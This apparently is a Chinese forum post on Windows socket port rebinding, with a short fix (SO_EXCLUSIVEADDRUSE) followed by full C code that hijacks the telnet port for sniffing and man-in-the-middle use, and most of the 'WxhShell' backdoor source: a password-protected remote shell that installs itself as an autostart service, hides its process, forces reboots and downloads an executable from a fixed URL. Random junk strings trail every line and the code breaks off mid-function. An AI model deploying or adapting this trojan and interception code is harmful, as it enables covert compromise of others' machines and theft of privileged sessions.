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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %jo,Gv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gJ H^f3  
:@b=;  
  saddr.sin_family = AF_INET; yHo#v:>?p  
^\oMsU5(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &s8vmUt  
D!DL6l`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P(b ds  
84_Y+_9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \IhHbcF`d  
;uho.)%N`F  
  这意味着什么?意味着可以进行如下的攻击: wii.0~p  
YJ !jdE}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Yc:>Yzj(z  
7\AoMk}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m;J'y2h =$  
yRivf.wH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6{w'q&LYcE  
\;+TZ1i_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0}` 0!Kv  
N^{}Qvrr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _oHxpeM  
P\y ZcL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %0zp`'3Y  
V)fF|E~0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GP(nb,  
12V-EG i  
  #include #~o<9O  
  #include Hf +oG  
  #include * EPJeblAV  
  #include     6o1[fr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9T\\hM)k  
  int main() !S'!oinV  
  { J'%W_?wZ  
  WORD wVersionRequested; z:8ieJ)C  
  DWORD ret; o?d`o$  
  WSADATA wsaData; GM Y[Gd  
  BOOL val; <Zo{D |hW  
  SOCKADDR_IN saddr; -;O"Y?ME  
  SOCKADDR_IN scaddr; [1l OGck[  
  int err; $Ji;zR4,  
  SOCKET s; ,*sKr)9)  
  SOCKET sc; u}?|d8$h\  
  int caddsize; IC6'>2'=T  
  HANDLE mt; ;*{Ls#  
  DWORD tid;   e F(oHn,  
  wVersionRequested = MAKEWORD( 2, 2 ); NE><(02qW  
  err = WSAStartup( wVersionRequested, &wsaData ); *Oq& g\K)  
  if ( err != 0 ) { F;MACu;x  
  printf("error!WSAStartup failed!\n"); kZ0z]Y  
  return -1; ,ZZ5A;)  
  } h05BZrE  
  saddr.sin_family = AF_INET; f.c2AY~5[  
   B@ >t$jK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 On(.(7sNc  
*|^|| bd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RS|*3 $1  
  saddr.sin_port = htons(23); `Bb32L   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ %Ij5PD  
  { Z6nQW53-  
  printf("error!socket failed!\n"); y:Agmr,S  
  return -1; Ih[k{p  
  } PB)vE  
  val = TRUE; E_0i9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~i]4~bkH2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s)+] pxV0-  
  { e35")z~  
  printf("error!setsockopt failed!\n"); Q$5%9  
  return -1; 4WPco"xH!  
  } ny0]Q@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P=a&>i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wjTW{Bg~G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^[6#Kw&E  
(ylZ[M&B:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iM$iZ;Tp  
  { {5 3#Xd  
  ret=GetLastError(); vcZ"4%w  
  printf("error!bind failed!\n"); @W=: r/  
  return -1; I5]58Ohx  
  } \0)2 u[7  
  listen(s,2); }+giQw4  
  while(1) @cQ |`  
  { BnG{) \s  
  caddsize = sizeof(scaddr); d>0 j!+s  
  //接受连接请求 ;)vs=DK:)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4O4}C#6(4  
  if(sc!=INVALID_SOCKET) z`YAOhD*h4  
  { 8mC$p6Okd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lI3d _cU  
  if(mt==NULL) p::`1  
  { @vO~'Xxq!  
  printf("Thread Creat Failed!\n"); >ktekO:H  
  break; 6ZQ$5PY  
  } )h,}v()qc#  
  } P!!:p2fo  
  CloseHandle(mt); N_p^DP   
  } M (:_(4~  
  closesocket(s); AgWG4C=  
  WSACleanup(); Pa{bkr  
  return 0; ?{~. }Vn  
  }   p3B_NsXVZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) K,!f7KKo  
  { [9Hrpo]tU:  
  SOCKET ss = (SOCKET)lpParam; o}Zl/&(  
  SOCKET sc; u"(2Xer  
  unsigned char buf[4096]; p+;x&h)[l  
  SOCKADDR_IN saddr; b(A;mt#N  
  long num; ^oEaE#I  
  DWORD val; ||;a#FZ^  
  DWORD ret; ~Q)Dcit-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F~3 &@TWi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5IP@_GV|  
  saddr.sin_family = AF_INET; {sUc2vR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Bm;@}Ly=G  
  saddr.sin_port = htons(23); ):V)Hrq?x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YVO~0bX:  
  { XeXK~  
  printf("error!socket failed!\n"); !/Wv\qm  
  return -1; 9$^v*!<z\  
  } KA."[dVa  
  val = 100; %p};Di[V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T_qh_L3  
  { u73/#!(1=H  
  ret = GetLastError(); ROj=XM:+  
  return -1; J!:v`gb#@A  
  } h)T-7b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F5<GGEQb  
  { _p| KaT``  
  ret = GetLastError(); gWy2E;"a  
  return -1; [jF\"#A  
  } eD N%p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G EAVc9V  
  { xKoNo^FF  
  printf("error!socket connect failed!\n"); {6*{P!H  
  closesocket(sc); Of{'A  
  closesocket(ss); w&}UgtEm  
  return -1; 7P D D  
  } ^j'vM\^`ml  
  while(1) tUs{/Je  
  { [~ |e:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @TnAO8Q>XD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :yAvo4 )  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `pXC= []B2  
  num = recv(ss,buf,4096,0); BYs^?IfW  
  if(num>0) ~wd~57i@  
  send(sc,buf,num,0); R(HW0@R@w  
  else if(num==0) nb|"dK|  
  break; hN_,Vyf  
  num = recv(sc,buf,4096,0); D 3}e{J8  
  if(num>0) ?Tk4Vt  
  send(ss,buf,num,0); )h(yh50 B  
  else if(num==0) G$ Ii  
  break;  \4&FW|mx  
  } k N$L8U8f  
  closesocket(ss); ,lw<dB@7"5  
  closesocket(sc); XJf1LGT5  
  return 0 ; /J'dG%  
  } A\<WnG>xjP  
Y&DC5T]  
fpvzx{2  
========================================================== E %> ){Y)  
_:l<4u !  
下边附上一个代码,,WXhSHELL J""N:X!1  
q,eXH8 x  
========================================================== ;AgXl%Q  
\J^|H@;(@  
#include "stdafx.h" QX 393v!  
E- rXYNfy  
#include <stdio.h> (`Q_^Bfyl  
#include <string.h> "G!V?~;  
#include <windows.h> :#p!&Fi  
#include <winsock2.h> tL@m5M%:N2  
#include <winsvc.h> L}%4YB  
#include <urlmon.h> Ci^tP~)&"  
@T+pQ)0{{  
#pragma comment (lib, "Ws2_32.lib") +Pm }_"GU  
#pragma comment (lib, "urlmon.lib") Z=P=oldH  
:n<<hR0d  
#define MAX_USER   100 // 最大客户端连接数 dNcP_l/A  
#define BUF_SOCK   200 // sock buffer Oo 95\Yf$N  
#define KEY_BUFF   255 // 输入 buffer a0x/? )DO  
6995r%  
#define REBOOT     0   // 重启 `=f1rXhI+1  
#define SHUTDOWN   1   // 关机 -* ;`~5  
#$9rH 2zd  
#define DEF_PORT   5000 // 监听端口 ^!>o5Y)  
@uI_4a  
#define REG_LEN     16   // 注册表键长度 v:$Y |mh  
#define SVC_LEN     80   // NT服务名长度 WD5ulm?91|  
awa$o  
// 从dll定义API >P\/\xL=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ceqYyVy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,b8q$ R~\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tvG/oe .1'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .%EEly  
+Udlt)H  
// wxhshell配置信息 L1E\^)  
struct WSCFG { s"\o6r ,  
  int ws_port;         // 监听端口 S}cm.,/w  
  char ws_passstr[REG_LEN]; // 口令 APR%ZpG  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6?c(ueiL[  
  char ws_regname[REG_LEN]; // 注册表键名 I~>L4~g)  
  char ws_svcname[REG_LEN]; // 服务名 M0zlB{eH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /0H39]y!~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A">A@`}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -!]dU`:(X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :S5B3S@|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D;al(q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vMOit,{  
jVpk) ;vC  
}; _'E,g@  
3_tO  
// default Wxhshell configuration Kr]`.@/.S  
struct WSCFG wscfg={DEF_PORT, 0BTLIV$d;  
    "xuhuanlingzhe", 5:H9B  
    1, *xOrt)D=  
    "Wxhshell", DHV#PLbN$  
    "Wxhshell", T9+ ?A l  
            "WxhShell Service", +}@HtjM  
    "Wrsky Windows CmdShell Service", [UHDN:y  
    "Please Input Your Password: ", cHMS[.=;  
  1, 6 4da~SEn  
  "http://www.wrsky.com/wxhshell.exe", Y@Kp'+t(!  
  "Wxhshell.exe" m ,U`hPJ  
    }; z_p/.kQ'5  
*tda_B 2  
// 消息定义模块 }]H_|V*f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fH7o,U|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u F T&r|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \i=,[8t[r  
char *msg_ws_ext="\n\rExit."; }GCt)i_  
char *msg_ws_end="\n\rQuit."; t>T |\WAAL  
char *msg_ws_boot="\n\rReboot..."; &V&0kp@+  
char *msg_ws_poff="\n\rShutdown..."; $Q|t^(  
char *msg_ws_down="\n\rSave to "; QpPJ99B|  
A8R}W=  
char *msg_ws_err="\n\rErr!"; dSb|hA}@  
char *msg_ws_ok="\n\rOK!"; [$Ld>`3  
j9za)G-J  
char ExeFile[MAX_PATH]; Xo*=iD$Jys  
int nUser = 0; *_z5Pa`A  
HANDLE handles[MAX_USER]; NVMhbpX6  
int OsIsNt; rnVh ]xJ  
h*Y);mc$#  
SERVICE_STATUS       serviceStatus; 8v M}moper  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T }X#I'Z  
+M6qbIO  
// 函数声明 %jY /jp=R  
int Install(void); n@xDFa  
int Uninstall(void); j#b?P=|l  
int DownloadFile(char *sURL, SOCKET wsh); sgo({zA`i  
int Boot(int flag); 'Z+~G  
void HideProc(void); z2&SZ.mk  
int GetOsVer(void); +?~'K&@  
int Wxhshell(SOCKET wsl); u4=j!Zb8}  
void TalkWithClient(void *cs); |wZ8O}O{E  
int CmdShell(SOCKET sock); z1ltc{~Z  
int StartFromService(void); }06  
int StartWxhshell(LPSTR lpCmdLine); PQsqi;=)  
J8$G-~MeJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DLkNL?a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $@t-Oor;  
31y=Ar""  
// 数据结构和表定义 lu(<(t,Lbs  
SERVICE_TABLE_ENTRY DispatchTable[] = V,($I'&/  
{ 92GO.xAD?  
{wscfg.ws_svcname, NTServiceMain}, ho_;;y  
{NULL, NULL} !c\d(u  
};  )>Oip  
+'?p $@d  
// 自我安装 tH<v1LEZN  
int Install(void) ZgLO[Bj  
{ dvk? A$  
  char svExeFile[MAX_PATH]; tqIz$84G  
  HKEY key; . oUaq|O  
  strcpy(svExeFile,ExeFile); *tjE#TW  
2i4FIS|z0  
// 如果是win9x系统,修改注册表设为自启动 @M?N[LG  
if(!OsIsNt) { A:1O:LB=!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a4X J0Tm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sD.bBz  
  RegCloseKey(key); I-i)D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F9ry?g=h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x{C=rdp__  
  RegCloseKey(key); ?MuM _6  
  return 0; ?^us(o7-  
    } bv>;%TF  
  } Ix%h /=I  
} k'wF+>  
else { LQ?J r>4  
O9]j$,i  
// 如果是NT以上系统,安装为系统服务 _$By c(.c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wy,DA^\ef  
if (schSCManager!=0) ;"&^ckP  
{ zGu(y@o  
  SC_HANDLE schService = CreateService =O w}MX  
  ( fEdQR->  
  schSCManager,  FZnkQ  
  wscfg.ws_svcname, *L/_ v  
  wscfg.ws_svcdisp, YcGSZ0vQ  
  SERVICE_ALL_ACCESS, 46*o_A,"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tn;e PcU  
  SERVICE_AUTO_START, 6z"fBF  
  SERVICE_ERROR_NORMAL, cn=~}T@~Z  
  svExeFile, l2=.;7 IV  
  NULL, =A<kDxqH  
  NULL, &TSt/b/+W  
  NULL, -[v:1\Vv  
  NULL, R5G~A{w0  
  NULL Y*3qH]  
  ); }3Pz{{B&+O  
  if (schService!=0) UKQ ,]VC  
  { R 3 Eh47  
  CloseServiceHandle(schService); 5SK{^hw  
  CloseServiceHandle(schSCManager); ?};}#%971  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X}_}`wIn  
  strcat(svExeFile,wscfg.ws_svcname); (80]xLEBL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 31wact^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JTpKF_Za<  
  RegCloseKey(key); B @UaaWh  
  return 0; TvAA  
    } O$Wt\Y <q  
  } G!oq ;<  
  CloseServiceHandle(schSCManager); 4>{q("r,  
} n<kcK  
} t</rvAH E  
42:\1B#[  
return 1; ? 8S0  
} x'; 6  
<[?oP[ j  
// 自我卸载 9C$b^wHd  
int Uninstall(void) d37l/I  
{ T%KZV/  
  HKEY key; ,|"tLN *m  
T^aEx.`O}`  
if(!OsIsNt) { `l1{BU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KB7CO:  
  RegDeleteValue(key,wscfg.ws_regname); ._-^ 58[  
  RegCloseKey(key); 2<yi8O\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _C&2-tnp  
  RegDeleteValue(key,wscfg.ws_regname); <m`HK.|~  
  RegCloseKey(key); I_'S|L  
  return 0; }-)2CEj3L%  
  } P 5m{}@g  
} A"\kdxC  
} R(=Lhz6R4  
else { b3MgJT"mN  
6~0S%Hz   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y1H8+a5@  
if (schSCManager!=0) 5l2Ph4(  
{ ,!|/|4vh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gT'c`3Gkz  
  if (schService!=0) y^pk)`y8  
  { RhnSQe  
  if(DeleteService(schService)!=0) { bec n$R  
  CloseServiceHandle(schService); $f*N  
  CloseServiceHandle(schSCManager); ln'7kg  
  return 0; &'N{v@Oi)  
  } d%81}4f:  
  CloseServiceHandle(schService); wZh&w<l'  
  } @xm O\  
  CloseServiceHandle(schSCManager); ['sj'3cW-  
} iT%aAVs  
} Va\dMv-b  
qWGnIPk  
return 1; n(/(F `  
} R(kr@hM  
5 1@V""m  
// 从指定url下载文件 |J'@-*5?[8  
int DownloadFile(char *sURL, SOCKET wsh) 0V"r$7(}  
{ >1,.4)k%K  
  HRESULT hr; 4Ucg<Z&%  
char seps[]= "/"; S WVeUL#5  
char *token; 7qA0bUee5  
char *file; nY'0*:'u  
char myURL[MAX_PATH]; 1<fS&)^W  
char myFILE[MAX_PATH]; y!6B Gz  
ANc)igo  
strcpy(myURL,sURL); kTAb <  
  token=strtok(myURL,seps); 7;#9\a:R?  
  while(token!=NULL) {x W? v;  
  { Q$Ga.fI  
    file=token; JWr:/?  
  token=strtok(NULL,seps); wXMKQ)$(  
  } KF|+# qCN  
n&D<l '4  
GetCurrentDirectory(MAX_PATH,myFILE); Z%y>q|:  
strcat(myFILE, "\\"); !Sy._NE`z  
strcat(myFILE, file); _Buwz_[&  
  send(wsh,myFILE,strlen(myFILE),0); \acJ9N  
send(wsh,"...",3,0); U,LW(wueT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ';hU&D;s  
  if(hr==S_OK) lt|\$Iy(  
return 0; |o6 h:g  
else T,@.RF  
return 1; 68Vn]mr#  
cNtGjLpx;  
} [pUw(KV2m  
wV+ W(  
// 系统电源模块 D!h8NZ;El  
int Boot(int flag) bvuoGG*  
{ `ky< *  
  HANDLE hToken; %2f``48#  
  TOKEN_PRIVILEGES tkp; ]iRE^o6  
*&q\)\(3w  
  if(OsIsNt) { WM.JoQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jA$g0>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KiT>W~  
    tkp.PrivilegeCount = 1; ,a eQXI#@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8;ke,x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S(.AE@U  
if(flag==REBOOT) { 5B#q/d1/a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %I9{)'+@x  
  return 0; 7*^-3Tt83  
} rIH/<@+  
else { 'C8VD+p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "=@b>d6U+  
  return 0; n.ZLR=P4  
} 8i!AJF9IQ}  
  } nBI?~hkP3  
  else { E0'+]"B  
if(flag==REBOOT) { = I,O+^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VLC<ju!  
  return 0; B]L5K~d  
} U&yXs'3a&  
else { Rq )&v*=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QG*=N {% 5  
  return 0; 'A;G[(SYy  
} `uM:>  
} CnSfGsE>  
hEi]-N\X  
return 1; 'iA#lKG  
} GwQW I ]  
SeN4gr*  
// win9x进程隐藏模块 $,v '>  
void HideProc(void) Zk4Hs%n  
{ GR@!mf  
+~?ze,Di  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N+ZDQa[  
  if ( hKernel != NULL ) &lbxmUeU  
  { T6h-E^Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ."&,_F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); id<i|  
    FreeLibrary(hKernel); SNV~;@(h  
  } )Fx"S.Ok  
11[[Hk X@  
return; reR><p  
} C,~wmS )@  
1j0OV9-|  
// 获取操作系统版本 \ZX5dFu0  
int GetOsVer(void) h[ #Lg3  
{ i]J*lM7'  
  OSVERSIONINFO winfo; g}"`@H(9r3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xI}o8GKQq  
  GetVersionEx(&winfo); k"D6Vyy`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X TEC0s"F  
  return 1; I=o[\?u*_  
  else to,DN2rN  
  return 0; ("Z;)s4q  
} 4 YDK`:4I~  
wI><kdz  
// 客户端句柄模块 T6m#sVq  
int Wxhshell(SOCKET wsl) C~4_Vc*  
{ 1^XuH('  
  SOCKET wsh; ' N^\9X0  
  struct sockaddr_in client; d0Xb?- }3M  
  DWORD myID; TG7Ba[%  
o`5p "v r  
  while(nUser<MAX_USER) ph{p[QI:{X  
{ $&~/`MxE  
  int nSize=sizeof(client); O4RNt,?l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~\kJir  
  if(wsh==INVALID_SOCKET) return 1; EBlfwFd  
W&CQ87b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <k?ofE1o  
if(handles[nUser]==0) b~fX=!M  
  closesocket(wsh); ]x1MB|a6  
else W,"|([t4.\  
  nUser++; KiYO,nD;\  
  } 1c_gh12  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q9fCoz  
' QGacV   
  return 0; 9<u^.w  
} @Gp=9\L  
?PVJeFH  
// 关闭 socket Mx<z34(T  
void CloseIt(SOCKET wsh)  N1,=5P$  
{ #=F"PhiX`  
closesocket(wsh); uT'_}cw  
nUser--; rE0?R( _  
ExitThread(0); h07Z.q ;  
} pm$2*!1F(  
K*iy^}  
// 客户端请求句柄 ,<?iL~> %  
void TalkWithClient(void *cs) d\aKGq;8C  
{ Q|QVm,m  
?#; oqH<  
  SOCKET wsh=(SOCKET)cs; ^2f'I iE  
  char pwd[SVC_LEN]; 7jvy]5y8&~  
  char cmd[KEY_BUFF]; 8 2qf7`  
char chr[1];  }/~%Ysl  
int i,j; L#sw@UCK  
\{r-e  
  while (nUser < MAX_USER) { Ft%HWGE  
t`NZ_w /  
if(wscfg.ws_passstr) { !w iW#PR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U |I>CDp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S Y\ UuZ  
  //ZeroMemory(pwd,KEY_BUFF); 2WQKj9iyN  
      i=0; A{\#.nC/z  
  while(i<SVC_LEN) { zRTR  
:#D?b.=  
  // 设置超时 5\93-e  
  fd_set FdRead; s2f9 5<B  
  struct timeval TimeOut; J)1:jieQ  
  FD_ZERO(&FdRead); ~^d. zIN!  
  FD_SET(wsh,&FdRead); UjibQl 3:m  
  TimeOut.tv_sec=8; 272j$T  
  TimeOut.tv_usec=0; ]=\Mf<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m|q?gX9R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +./c=o/v  
XMhDx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dFY]~_P472  
  pwd=chr[0]; 3TUW+#[Gu  
  if(chr[0]==0xd || chr[0]==0xa) { ] jbQou@  
  pwd=0; GMmz`O XN  
  break; g8^\|  
  } $r`K4g  
  i++; h(}$-'g  
    } dWHl<BUm  
v|5:;,I  
  // 如果是非法用户,关闭 socket ` nBCCz'Y!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n Q|4.e;  
} FR~YO|4?  
iVq4&X_x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ").MU[q%Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *M5 : \+  
<viIpz2jh%  
while(1) { u@|izRk  
aE}1~`  
  ZeroMemory(cmd,KEY_BUFF); u\YH,  
 V|=PaO  
      // 自动支持客户端 telnet标准   B$~oZ'4v  
  j=0; whb|N2  
  while(j<KEY_BUFF) { DLMG<4Cd~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g\MHv#v*k  
  cmd[j]=chr[0]; Pn@k)g  
  if(chr[0]==0xa || chr[0]==0xd) { %bI(   
  cmd[j]=0; |8I #`  
  break; z0J$9hEg89  
  } ^NJ]~h{n$  
  j++; Zgp]s+%E  
    } ?pgdj|"a  
w:Ui_-4*>  
  // 下载文件 +EJwWDJ!%  
  if(strstr(cmd,"http://")) { +|.}oL^}G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !_GY\@}  
  if(DownloadFile(cmd,wsh)) 4)D#kP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mhnjY K9  
  else PfX{n5yBW8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8@%Xd^  
  } [% chN /  
  else { }Ictnb  
:V2"<]  
    switch(cmd[0]) { `-zdjc d  
  *]2LN$  
  // 帮助 $>E\3npV  
  case '?': { SQ#6~zxl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d q=>-^o  
    break; l@` D;m  
  } MWf]U  
  // 安装 l,uYp"F,ps  
  case 'i': { eeIh }t>[  
    if(Install()) x4v@Kk/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w+Ve T@  
    else 8+vZ9!7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?]gZg[  
    break; @C)O[&Sk  
    } lhg3 }dW  
  // 卸载 T!$7:% D  
  case 'r': { E_&Hje|J_[  
    if(Uninstall()) ".L+gn}u-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9fD4xkRS  
    else )/k0*:OMyO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :PtpIVAosg  
    break; QFoZv+|  
    } n<MMO=+bg  
  // 显示 wxhshell 所在路径 XfA3Ez,}  
  case 'p': { zM6 yUEg  
    char svExeFile[MAX_PATH]; 3_=~7B) 8  
    strcpy(svExeFile,"\n\r");  {ZFa +  
      strcat(svExeFile,ExeFile); WtI1h`Fo  
        send(wsh,svExeFile,strlen(svExeFile),0); H3{x; {.b  
    break; :QgC Zq  
    } Mq) n=M  
  // 重启 R_h(Z{d  
  case 'b': { E [JXQ76  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1A^iUC5)  
    if(Boot(REBOOT)) i} 96, {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P8NKp O\  
    else { >JT{~SRB|Y  
    closesocket(wsh); >4TJH lB}8  
    ExitThread(0); FzmCS@yA  
    }  k*|dX.C:  
    break; Rs B o\#`  
    } EQPZV K/  
  // 关机  iU^ 4a  
  case 'd': { O;M_?^'W  
